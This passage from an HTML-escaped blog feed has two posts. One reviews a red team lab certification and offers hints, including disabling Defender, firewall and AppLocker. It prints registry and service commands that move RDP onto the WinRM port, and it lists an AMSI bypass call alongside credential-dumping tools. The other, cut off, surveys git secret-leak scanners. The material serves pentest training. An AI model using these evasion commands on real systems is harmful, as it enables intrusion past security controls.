&lt;p&gt;I would like to talk a bit about the &lt;a href=&quot;https://www.pentesteracademy.com/redlabs&quot;&gt;SecurityTube red team labs&lt;/a&gt;, specifically the &lt;a href=&quot;https://www.pentesteracademy.com/redteamlab&quot;&gt;Advanced Red Team Lab&lt;/a&gt; which leads to the &lt;strong&gt;CRTE&lt;/strong&gt; (Certified Red Team Expert) certification. &lt;em&gt;P.S: i’m not affiliated with securitytube&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Some great &lt;a href=&quot;https://www.google.com/search?q=review+red+team+lab+pentester+academy+%22CRTE%22&quot;&gt;reviews&lt;/a&gt; are already existing, so i will focus on why i chose this lab and certification. I will give you some hints about how to approach your targets. Most importantly, i would like to introduce you a tool that i developped which will help you during your journey, &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt;.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;h1 id=&quot;context&quot;&gt;Context&lt;/h1&gt;

&lt;p&gt;I was looking for a another &lt;strong&gt;professional and challenging cert&lt;/strong&gt; focused on &lt;strong&gt;Windows AD&lt;/strong&gt;. My prerequisites were:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;no jeopardy style&lt;/li&gt;
  &lt;li&gt;real life scenarios which will be found in real engagements&lt;/li&gt;
  &lt;li&gt;a environment not too crowded. I met this situation with others platforms and i spent much of my time contacting the support to revert the VMs because of others bad exploitation or persistence, getting the machines you’re working on totally unstable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally the &lt;em&gt;Advanced Red Team Lab&lt;/em&gt; was the answer.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/redteamlab/redteamlab.png&quot; alt=&quot;advredteamlab&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Companies are more and more looking for online qualitative trainings because of the actual sanitary crisis. Think to ask to your company for a financial support.&lt;/p&gt;

&lt;h1 id=&quot;what-i-really-liked&quot;&gt;What i really liked&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Reactive and helpful support&lt;/li&gt;
  &lt;li&gt;Updated servers and workstations with AppLocker, AV running and Powershell in Constrained Language Mode.&lt;/li&gt;
  &lt;li&gt;Relevant AD exploitation paths and local privilege escalation&lt;/li&gt;
  &lt;li&gt;Nikhil Mittal and his team are really friendly and you definitely can contact them on twitter to share your thoughts on this lab&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And why not, while you’re diving into this journey, you may probably see how the tools you are using may be improved to match your needs (don’t hesitate to PR - mine with &lt;a href=&quot;https://github.com/NetSPI/PowerUpSQL/pull/62&quot;&gt;PowerUpSQL&lt;/a&gt;) or may be you will develop your own tool. What i mean is that this is a virtuous circle, you will learn and you will share with the infosec community.&lt;/p&gt;

&lt;h1 id=&quot;what-should-be--will-be-improved&quot;&gt;What should be / will be improved&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;The possibility to revert VMs on our own during lab and cert (in dev on their side)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;what-you-will-learn&quot;&gt;What you will learn&lt;/h1&gt;

&lt;p&gt;Obviously, the difficulty level depends on your experience as a pentester, but be sure that after this cert you will be able to :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Properly enumerate an AD (basic / more complex stuff) and which tools to use (we will about it later)&lt;/li&gt;
  &lt;li&gt;Find AD exploitation paths, weak ACLs&lt;/li&gt;
  &lt;li&gt;Spearphish users&lt;/li&gt;
  &lt;li&gt;Exploit Kerberos delegation and to know how the S4U extensions are working (for ex: kerberos constrained delegation with protocol transition)&lt;/li&gt;
  &lt;li&gt;Exploit domain / forest trusts (SID Filtering, SID History, …)&lt;/li&gt;
  &lt;li&gt;Exploit MSSQL servers (this part was really interesting as i did not have so many opportunities to exploit MSSQL instances during engagements)&lt;/li&gt;
  &lt;li&gt;Find your way to perform local privilege escalation on fully patched servers with AppLocker and AV running&lt;/li&gt;
  &lt;li&gt;Many other cool stuff&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;hints-that-you-may-not-find-in-others-blog-posts&quot;&gt;Hints (that you may not find in others blog posts)&lt;/h1&gt;

&lt;p&gt;Your will start as domain user on a Windows Server where you will be able to RDP. I advice you to &lt;strong&gt;get SYSTEM&lt;/strong&gt; on this machine, to &lt;strong&gt;disable Defender and some restrictive Firewall and AppLocker rules&lt;/strong&gt;. Then take off your shoes and feel comfortable at home.&lt;/p&gt;

&lt;p&gt;I mainly used this Windows VM but i also had my Kali. In order to be able to proxyfy my Kali tools, i used &lt;a href=&quot;https://github.com/securesocketfunneling/ssf/releases&quot;&gt;ssf&lt;/a&gt; and &lt;a href=&quot;https://translate.google.fr/translate?hl=fr&amp;amp;sl=fr&amp;amp;tl=en&amp;amp;u=https%3A%2F%2Fphackt.org%2Ftor-proxychains&quot;&gt;proxychains&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Sometimes in this lab you will be able to move forward the unintended ways, i mean with your own kind of exploitation (to give you just an idea, read this blog post from &lt;a href=&quot;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&quot;&gt;itm4n&lt;/a&gt;). Even if you succeed in compromising all the forests, i would strongly recommend you to try to get the all the boxes the intended way, because you may miss something for the D-day.&lt;/p&gt;

&lt;p&gt;Also do not overlook the &lt;strong&gt;post exploitation&lt;/strong&gt; part. And don’t forget to note where you struggled at, during the exam it will be a pity to lose time on a thing you already faced.&lt;/p&gt;

&lt;p&gt;Not so many services will be exposed, and you also will be firewalled.&lt;/p&gt;

&lt;p&gt;Talking about &lt;strong&gt;firewalling&lt;/strong&gt;, we agree that sometimes it’s more comfortable to have a &lt;strong&gt;RDP&lt;/strong&gt; session rather than any command line session. In the following example we will assume that we have a shell on a server and we have just a few ports which are accessible. &lt;strong&gt;5985&lt;/strong&gt; is a good candidate but &lt;strong&gt;WinRM&lt;/strong&gt; is already running on the server.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In the following example, be aware that if you execute the following commands from a Remote Powershell session, you will be disconnected because we set the RDP listen port to 5985, so we will have to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sc.exe stop WinRM&lt;/code&gt; before running Remote Desktop Service.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Set RDP listen port and start the Remote Desktop service ‘without rebooting’&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Set-ItemProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;UserAuthentication&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ItemProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PortNumber&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;5985&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sc.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WinRM&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then run:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;tools&quot;&gt;Tools&lt;/h1&gt;

&lt;p&gt;Now let’s talk a bit about an interesting part, what kind of tools did i have on my Windows VM (did not mean i used all of them) ? Here is my list :&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tool&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/samratashok/ADModule&quot;&gt;ADModule&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Use AD powershell module for enumeration without installing RSAT&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/phackt/pentest/blob/master/bypass/amsi-bypass.ps1&quot;&gt;amsi-bypass.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[Bypass.A_M_S_I]::Disable()&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://nmap.org/download.html&quot;&gt;nmap&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Network Mapper&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.mythicsoft.com/agentransack/&quot;&gt;agentransack&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Fast files / directories crawler&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/releases&quot;&gt;mimikatz&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Do we really have to introduce this tool  ?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/phackt/pentest/blob/master/privesc/windows/nc64.exe&quot;&gt;nc64.exe&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Netcat&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/samratashok/nishang&quot;&gt;Nishang&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Exploitation framework from Nikhil “SamratAshok” Mittal&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-DCSync.ps1&quot;&gt;Empire -&amp;gt; Invoke-DCSync.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DCSync&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1&quot;&gt;PowerSploit -&amp;gt; PowerView.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AD Enumeration - &lt;a href=&quot;https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993&quot;&gt;Harmjoy Powerview 3 tricks&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1&quot;&gt;PowerSploit -&amp;gt; Invoke-Mimikatz.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Mimikatz thanks to Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1&quot;&gt;PowerSploit -&amp;gt; Invoke-PortScan.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Ports scanner in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1&quot;&gt;PowerSploit -&amp;gt; Invoke-TokenManipulation.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Manipulate logon token and create impersonation token&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://gallery.technet.microsoft.com/invoke-sdpropagator-to-c99ae41c&quot;&gt;Invoke-SDPropagator.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Invoke SDPropagator mechanism - for example if you backdoored the AdminSDHolder&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/p3nt4/Invoke-SocksProxy/blob/master/Invoke-SocksProxy.psm1&quot;&gt;Invoke-SocksProxy.psm1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Proxy socks in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner/blob/master/Scripts/IPv4PortScan.ps1&quot;&gt;IPv4PortScan.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Another ports scanner in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/besimorhino/powercat/blob/master/powercat.ps1&quot;&gt;powercat.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Netcat in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://gallery.technet.microsoft.com/Adjusting-Token-Privileges-9b6724fc&quot;&gt;Set-LHSTokenPrivilege.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Enable / disable your local privileges&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/NetSPI/PowerUpSQL&quot;&gt;PowerUpSQL&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;MSSQL exploitation framework&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/itm4n/PrintSpoofer&quot;&gt;PrintSpoofer.exe&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Exploit the printer bug locally&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/itm4n/PrivescCheck&quot;&gt;PrivescCheck&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Find privesc&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Useful when you will have to deal with kerberos tickets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Find AD exploitation paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/leechristensen/SpoolSample&quot;&gt;SpoolSample&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Connect to the RPC RpcRemoteFindFirstPrinterChangeNotification to trigger the printer bug&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/securesocketfunneling/ssf&quot;&gt;ssf&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Tunneling tool&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite&quot;&gt;SysinternalsSuite&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;All MS utilities&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://lolbas-project.github.io/&quot;&gt;lolbas&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Living Off The Land Binaries and Scripts&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;And last but not least, as i said previously this journey was a good opportunity to gather a lot of my recon commands in one single Powershell tool: &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Believe me, if you are doing this lab and want to pass this cert, &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt; + &lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt; will be the perfect journey companions. &lt;em&gt;Invoke-Recon&lt;/em&gt; has been developed based on the &lt;em&gt;Advanced Red Team Lab&lt;/em&gt;.&lt;/p&gt;

&lt;h1 id=&quot;more-to-come&quot;&gt;More to come&lt;/h1&gt;

&lt;p&gt;To keep on talking about AD enumeration, i would like to share with you some of my &lt;a href=&quot;https://phackt.org/pentesting-bloodhound-cypher-queries&quot;&gt;Cypher queries&lt;/a&gt; i use with &lt;strong&gt;BloodHound&lt;/strong&gt; to spot some very interesting stuff during an engagement. I will also dive a bit more into &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Keep in touch, and don’t hesitate if you wanna more information about this lab, if you are stuck or anything else, i’m always glad to help. I answer back to a lot of questions by email or twitter, some dealing with my switch from web developer to technical auditor for the french gouvernment. &lt;a href=&quot;https://phackt.org/about/&quot;&gt;Contact me&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Wish you a nice day, may the force be with you (i let you choose which side).&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>What solutions to prevent git leaks ?</title>
   <link href="https://phackt.org/git-secrets-exposed"/>
   <updated>2020-05-27T00:00:00+00:00</updated>
   <id>https://phackt.org/git-secrets-exposed</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;I will do a quick and dirty post about what’s out there to find / prevent leaks of secrets in your git repositories.&lt;br /&gt;
I did not try all of these tools. For the search part, i’m mainly using a fork of Trufflehog with some added features (search in filenames, commits comments, also with custom regexes).&lt;/p&gt;

&lt;h2 id=&quot;objectives-&quot;&gt;Objectives :&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Look into the commits history for sensitive information publicly accessible by an attacker ;&lt;/li&gt;
  &lt;li&gt;Prevent secrets leaks ;&lt;/li&gt;
  &lt;li&gt;Monitoring and integrating these checks in the Continous Delivery process - aka DevSecOps
&lt;!--more--&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tools-to-look-for-sensitive-data-&quot;&gt;Tools to look for sensitive data :&lt;/h2&gt;
&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/dxa4481/truffleHog&quot;&gt;TRUFFLEHOG&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Python&lt;/li&gt;
  &lt;li&gt;Also works for local repo&lt;/li&gt;
  &lt;li&gt;Strings with high entropy&lt;/li&gt;
  &lt;li&gt;Custom regex rules&lt;/li&gt;
  &lt;li&gt;No search in commits comments or filenames&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/&quot;&gt;GITROB&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;Renders results in a Web App&lt;/li&gt;
  &lt;li&gt;Do not work for local repo AFAIK&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/auth0/repo-supervisor&quot;&gt;REPO-SUPERVISOR&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in NodeJS&lt;/li&gt;
  &lt;li&gt;Generates HTML reports&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/anshumanbh/git-all-secrets&quot;&gt;GIT-ALL-SECRETS&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;Using / merging results of &lt;a href=&quot;https://github.com/dxa4481/truffleHog&quot;&gt;Trufflehog&lt;/a&gt; and &lt;a href=&quot;https://github.com/dxa4481/truffleHog&quot;&gt;Repo-Supervisor&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/zricethezav/gitleaks&quot;&gt;GITLEAKS&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;regex and entropy&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/eth0izzle/shhgit&quot;&gt;SSHGIT&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;Renders results in a Web App&lt;/li&gt;
  &lt;li&gt;Monitors GIT repositories - &lt;em&gt;Be the first to catch the secret before it gets deleted from git history&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;shhgit will watch real-time stream and pull out any accidentally committed secrets&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;prevent-commits-&quot;&gt;Prevent commits :&lt;/h2&gt;

&lt;p&gt;What is a Git Hook ? As described &lt;a href=&quot;https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Like many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging, while server-side hooks run on network operations such as receiving pushed commits. You can use these hooks for all sorts of reasons.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Security is a good one.&lt;/p&gt;

&lt;p&gt;What kind of hooks can used to prevent leak at an early stage of the git workflow? :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pre-commit: Used to check if any of the files changed in the commit use prohibited patterns.

commit-msg: Used to determine if a commit message contains a prohibited patterns.

prepare-commit-msg: Used to determine if a merge commit will introduce a history that contains a prohibited pattern at any point. Please note that this hook is only invoked for non fast-forward merges.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;u&gt;Client-side hooks :&lt;/u&gt;&lt;/p&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/ezekg/git-hound&quot;&gt;GITHOUND&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;You have to set GitHound command into a &lt;em&gt;pre-commit&lt;/em&gt; hook&lt;/li&gt;
  &lt;li&gt;Regexes are configured in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.githound.yml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/awslabs/git-secrets&quot;&gt;GIT-SECRETS&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;From &lt;strong&gt;AWS&lt;/strong&gt; team&lt;/li&gt;
  &lt;li&gt;You also can manually scan for secrets before making your repo public: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git secrets --scan-history&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;u&gt;GITHUB actions :&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://help.github.com/en/actions/getting-started-with-github-actions/about-github-actions&quot;&gt;GitHub Actions&lt;/a&gt; enables you to create custom software development life cycle (SDLC) workflows directly in your GitHub repository.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/gitleaks&quot;&gt;Gitleaks Github Action&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/trufflehog-actions-scan&quot;&gt;Trufflehog Github Action&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;u&gt;GITHUB scanning project :&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;Github has a project which aims at monitoring leaked third parties tokens from your repositories: &lt;a href=&quot;https://help.github.com/en/github/administering-a-repository/about-secret-scanning&quot;&gt;https://help.github.com/en/github/administering-a-repository/about-secret-scanning&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once identified, Github will warn you and will request the provider (from the following list) in an automated way to ask for the immediate revokation of your leaked tokens:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Adafruit
Alibaba Cloud
Amazon Web Services (AWS)
Atlassian
Azure
Clojars
CloudBees CodeShip
Databricks
Datadog
Discord
Doppler
Dropbox
Dynatrace
Finicity
Frame.io
GitHub
GoCardless
Google Cloud
